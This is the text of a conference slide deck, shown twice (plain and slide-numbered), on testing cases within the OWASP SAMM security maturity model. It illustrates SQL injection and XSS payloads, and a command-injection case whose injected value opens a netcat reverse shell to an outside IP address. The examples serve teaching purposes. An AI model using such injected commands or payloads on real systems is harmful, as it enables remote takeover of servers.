Testing cases in
OWASP SAMM
OLEKSII BARANOVSKYI
My vision
 Security isn’t a miracle
 There is no lack in “security testing” there is a lack of “testing security”
 Traditional testing is more more formalized, manageable and difficult.
WHY?
OWASP SAMM
The Open Web Application Security Project Software
Assurance Maturity Model
Postures
 Evaluating an organization’s existing software
security practices.
 Building a balanced software security assurance
program in well-defined iterations.
 Demonstrating concrete improvements to a security
assurance program.
 Defining and measuring security-related activities
throughout an organization.
Why we need to use it?
Users:
Software development company
Enterprise
SAMM
Security testing place
Case 1. It’s not about security
SAMM
Case 2. SQLinj Example
http://site.com/test/test.php?id=434
Case 2. SQLinj Example
http://site.com/test/test.php?id=434’
SAMM
Case 3. SetUID Example
import os
cmd = './date.sh ' + param1
os.system(cmd)
Case 3. SetUID Example
import os
cmd = './date.sh ' + ’0.0.0; nc –e /bin/bash 5.10.114.4 8080'
os.system(cmd)
* Thanks to Yurii Bilyk
SAMM
Case 4. XSS Example
<script>alert(‘ok’);</script>
"'}})}}})});alert(ok'); window.addEventListener('load', function() { new
Vue({ methods:{ filter:function(){$.ajax({data:{a:'"
SAMM and where should we start?
Security requirements by SAMM
Case 5. HTTPS example
Requirement: Server and client should communicate via HTTP protocol.
Requirement: Server and client should communicate via HTTPS protocol.
Requirement: Server and client should communicate via HTTP with way that excludes the
disclosure of critical information.
SAMM and where should we start?
Conclusions
 Security really is not a miracle
 Security testing is a part of global testing coverage
 SAMM is a step from dedicated security testing to TMM
and EAAF
Thanks a lot!
Any additional questions?
Stay secure and mature!
HTTPS://WWW.FACEBOOK.COM/OLEKSII.BARANOVSKYI
HTTPS://WWW.LINKEDIN.COM/IN/OLEKSIIBARANOVSKYI/

ОЛЕКСІЙ БАРАНОВСЬКИЙ  "Роль та кейси тестування в моделі OWASP SAMM"  

  • 1.
    Testing cases in OWASPSAMM OLEKSII BARANOVSKYI
  • 2.
    My vision  Securityisn’t a miracle  There is no lack in “security testing” there is a lack of “testing security”  Traditional testing is more more formalized, manageable and difficult. WHY?
  • 4.
    OWASP SAMM The OpenWeb Application Security Project Software Assurance Maturity Model
  • 5.
    Postures  Evaluating anorganization’s existing software security practices.  Building a balanced software security assurance program in well-defined iterations.  Demonstrating concrete improvements to a security assurance program.  Defining and measuring security-related activities throughout an organization.
  • 6.
    Why we needto use it? Users: Software development company Enterprise
  • 7.
  • 8.
  • 9.
    Case 1. It’snot about security
  • 10.
  • 11.
    Case 2. SQLinjExample http://site.com/test/test.php?id=434
  • 12.
    Case 2. SQLinjExample http://site.com/test/test.php?id=434’
  • 13.
  • 14.
    Case 3. SetUIDExample import os cmd = './date.sh ' + param1 os.system(cmd)
  • 15.
    Case 3. SetUIDExample import os cmd = './date.sh ' + ’0.0.0; nc –e /bin/bash 5.10.114.4 8080' os.system(cmd) * Thanks to Yurii Bilyk
  • 16.
  • 17.
    Case 4. XSSExample <script>alert(‘ok’);</script> "'}})}}})});alert(ok'); window.addEventListener('load', function() { new Vue({ methods:{ filter:function(){$.ajax({data:{a:'"
  • 18.
    SAMM and whereshould we start?
  • 19.
  • 20.
    Case 5. HTTPSexample Requirement: Server and client should communicate via HTTP protocol. Requirement: Server and client should communicate via HTTPS protocol. Requirement: Server and client should communicate via HTTP with way that excludes the disclosure of critical information.
  • 21.
    SAMM and whereshould we start?
  • 22.
    Conclusions  Security reallyis not a miracle  Security testing is a part of global testing coverage  SAMM is a step from dedicated security testing to TMM and EAAF
  • 23.
    Thanks a lot! Anyadditional questions?
  • 24.
    Stay secure andmature! HTTPS://WWW.FACEBOOK.COM/OLEKSII.BARANOVSKYI HTTPS://WWW.LINKEDIN.COM/IN/OLEKSIIBARANOVSKYI/